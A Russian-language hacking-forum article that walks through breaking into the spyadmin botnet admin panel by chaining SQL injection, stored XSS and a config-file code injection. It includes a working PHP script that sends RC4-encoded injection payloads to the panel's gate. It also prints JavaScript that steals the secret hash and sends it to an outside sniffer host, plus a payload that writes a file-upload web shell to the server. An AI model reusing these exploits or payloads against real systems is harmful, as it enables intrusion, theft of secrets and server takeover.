SQLi -> XSS -> shell upload на примере spyadmin

Не так давно мне попалась панелька очередного бота, сделанного на основе TeamViewer. Авторы сего чуда – spyadmin.com (они же vzlomov.com) уже давно в блеках, поэтому можем себе ломать сколько влезет (законом не запрещено и на 95% безопаснее, чем ловить покемонов в церкви).

Структура такая:

http://s019.radikal.ru/i633/1609/df/9a7b3c98a7b0.png

Если вкратце:

config.php – подключение к бд, настройки логина/пароля
getinfo.php – гейт для ботов
index.php – сама панель
install.php – редактирование настроек
lang.php – языки.
setcmd.php – отправка команд ботам.

В папках ничего особенного – стили, js, картинки.

SQL-инъекция

Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки:

Код:
$bot_uniq = $GET["uniq"]; // TV UNIQ
$bot_id = $GET["id"]; // TV ID

//Ошибка №1. Условие могло бы быть и чуть построже.
if(!isset($bot_id) || strlen($bot_id)<9) exit;

//И чуть ниже
if(!isset($bot_uniq))
{
$bot_uniq = $bot_id;
//Ошибка №2. Отсутствует фильтрация переменной $bot_uniq
$update_result = mysql_query('UPDATE `'.$cfg_tbl_name.'` SET bot_uniq = "'.$bot_uniq.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"');
}

Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4.

В итоге я набросал небольшой скрипт для работы с SQL-инъекцией:

Код:
<?php
function rc4($key, $str){
$s = array();
for ($i = 0; $i < 256; $i++) {
$s[$i] = $i;
}
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$res = '';
for ($y = 0; $y < strlen($str); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $res;
}

$spyadmin_domain="example.com";
$spyadmin_gate="http://".$spyadmin_domain."/getinfo.php";

//UPDATE `bot` SET bot_uniq = "'.%inject_here%.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"
$sqlinject = "" WHERE bot_id=-1 or SLEEP(10) #";

$request = "id=".$sqlinject."nuname=123";
$data = strtr(base64_encode(rc4($spyadmin_domain, $request)), '+/=', '-_,');

$postdata = http_build_query(array('r' => $data,));

$opts = array('http' =>
array(
'method'  => 'POST',
'header'  => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context  = stream_context_create($opts);
$result = file_get_contents($spyadmin_gate, false, $context);

echo "n[ Done! ]n";
echo $result;

В принципе, можно было бы играть в угадайку и за пару часов получить все Bot ID. Пароль по умолчанию, для всех ботов был одинаковый. Но к счастью, была возможность изменять данные в БД, и поэтому был найден более короткий способ получения тотального контроля над админкой.

XSS

Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему – непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie):

Код:
$sqlinject = "" , bot_comment='<script src="http://pastebin.com/raw/DMRtwJYq"></script>' #";

Запускаем скрипт, заходим в админку:

http://s017.radikal.ru/i438/1609/1a/5cd26bdb7bfa.png

Великолепно. По идее, остается только отправить куки на свой сниффер…
Но не тут то было:

Код:
$chk_cook = $_COOKIE["t_login"];
if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt"))
{
// Please login...
}

Есть привязка к IP, а значит, просто куки воровать смысла нет. Необходимо получить значение переменной $cfg_secret_hash, которая лежит в файле config.php. И которую можно изменить с помощью файла install.php.

Воруем значение переменной из install.php с помощью такого кодеса:

Код:
var xhttp;
if (window.XMLHttpRequest) {
xhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var stringer = document.createElement('div');

xhttp.open("GET", "install.php", false);
xhttp.send();
var stringer = xhttp.responseText;
var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);

// Для теста
//alert(res[1]);

// Чтобы украсть
new Image().src = 'http://lebron.james/steal.php?hash='+res[1]);

Пихаем все это на pastebin, и скармливаем с помощью SQLi админке.

Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку – генерируем хеш, подставляем его в куку to_login и заходим.

Shell Upload

Еще раз обращаем внимание на install.php. Код там просто потрясающий:

Код:
$locationdb = $_POST["locationdb"];
$logindb = $_POST["logindb"];
$passdb = $_POST["passdb"];
$namedb = $_POST["namedb"];
$nametbldb = $_POST["nametbldb"];
$loginadm = $_POST["loginadm"];
$passadm = $_POST["passadm"];
$hashadm = $_POST["hashadm"];
$mytimezone = $_POST["timezone"];

// ... немного кода...

$file = 'config.php';
unlink($_SERVER['DOCUMENT_ROOT'].'/config.php');
$writecfg = "<?phprn";
$writecfg .= "t$cfg_admin_logint= '".$loginadm."'; // admin panel loginrn";
$writecfg .= "t$cfg_admin_passwdt= '".$passadm."'; // admin panel passwordrn";
$writecfg .= "t$cfg_secret_hasht= '".$hashadm."'; // admin panel secret hashrn";
$writecfg .= "rn";
$writecfg .= "t$cfg_localhosttt= '".$locationdb."'; // MySQL locationrn";
$writecfg .= "t$cfg_usernamett= '".$logindb."'; // MySQL loginrn";
$writecfg .= "t$cfg_passwdttt= '".$passdb."'; // MySQL passwordrn";
$writecfg .= "t$cfg_bd_namett= '".$namedb."'; // MySQL BD namern";
$writecfg .= "t$cfg_tbl_namett= '".$nametbldb."'; // MySQL table namern";
$writecfg .= "rn";
$writecfg .= "t$cfg_timettt= '".$mytimezone."'; // TimeZonern";
$writecfg .= "?>";
file_put_contents($file, $writecfg, LOCK_EX);

Мы редактируем конфиг:

http://s020.radikal.ru/i721/1609/18/f5961f8639db.png

В любое поле, после обычного значения, добавляем:

Код:
';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='

Сохраняем. Переходим по адресу upload.php и спокойно заливаем шелл.

Все вместе

Теперь мы соединим все вместе: с помощью SQL-инъекции внедряем XSS, потом крадем данные со страницы install.php и заливаем шелл.

Заливаем этот js-код на какой-нибудь шелл:

Код:
var xhttp;
if (window.XMLHttpRequest) {
xhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var stringer = document.createElement('div');

xhttp.open("GET", "install.php", false);
xhttp.send();
var stringer = xhttp.responseText;

var res = stringer.match(/name="locationdb" class="txt" value="(.*?)"/);
locationdb = res[1];

var res = stringer.match(/name="logindb" class="txt" value="(.*?)"/);
logindb = res[1];

var res = stringer.match(/name="passdb" class="txt" value="(.*?)"/);
passdb = res[1];

var res = stringer.match(/name="namedb" class="txt" value="(.*?)"/);
namedb = res[1];

var res = stringer.match(/name="nametbldb" class="txt" value="(.*?)"/);
nametbldb = res[1];

var res = stringer.match(/name="loginadm" class="txt" value="(.*?)"/);
loginadm = res[1];

var res = stringer.match(/name="passadm" class="txt" value="(.*?)"/);
passadm = res[1];
passadm = passadm + "';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='";

var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);
hashadm = res[1];

xhttp.open("POST", "install.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("install=1&locationdb="+ locationdb +"&logindb=" + logindb +"&passdb="+ encodeURIComponent(passdb)+"&namedb="+ namedb +"&nametbldb="+ nametbldb +"&loginadm="+ loginadm +"&passadm="+ encodeURIComponent(passadm) +"&hashadm="+ hashadm+"&timezone=Europe%2FMoscow");

И внедряем его ранее описанным методом. Стоит заметить, что не надо выбирать для хранения сайты с самоподписанными сертификатами или крупные сервисы, типа pastebin – в обоих случаях код может просто не сработать. Как только ботовод зайдет на страничку, в корне будет лежать заливка файлов. При желании можно изменить код, и сразу лить шелл.

Я даже не упомянул о корявой LFI, нескольких CSRF и прочих мелочах, как мне кажется, вышеописанного и так достаточно. Вот так, легко и просто, можно попасть в админку бота, который продавался (и все еще продается) за 500$. Или, если посмотреть с другой стороны, за свои же деньги можно прикупить себе соседа – кидалу, мента, кребса. Я заранее соглашусь, что шанс такого расклада невелик, но зачем лишние риски?

Есть ли у Вас уверенность в том, что софт который вы используете сейчас, более защищен, чем spyadmin?

http://i042.radikal.ru/1609/a4/e4ae28055c0e.png

© Lebron

Оставьте комментарий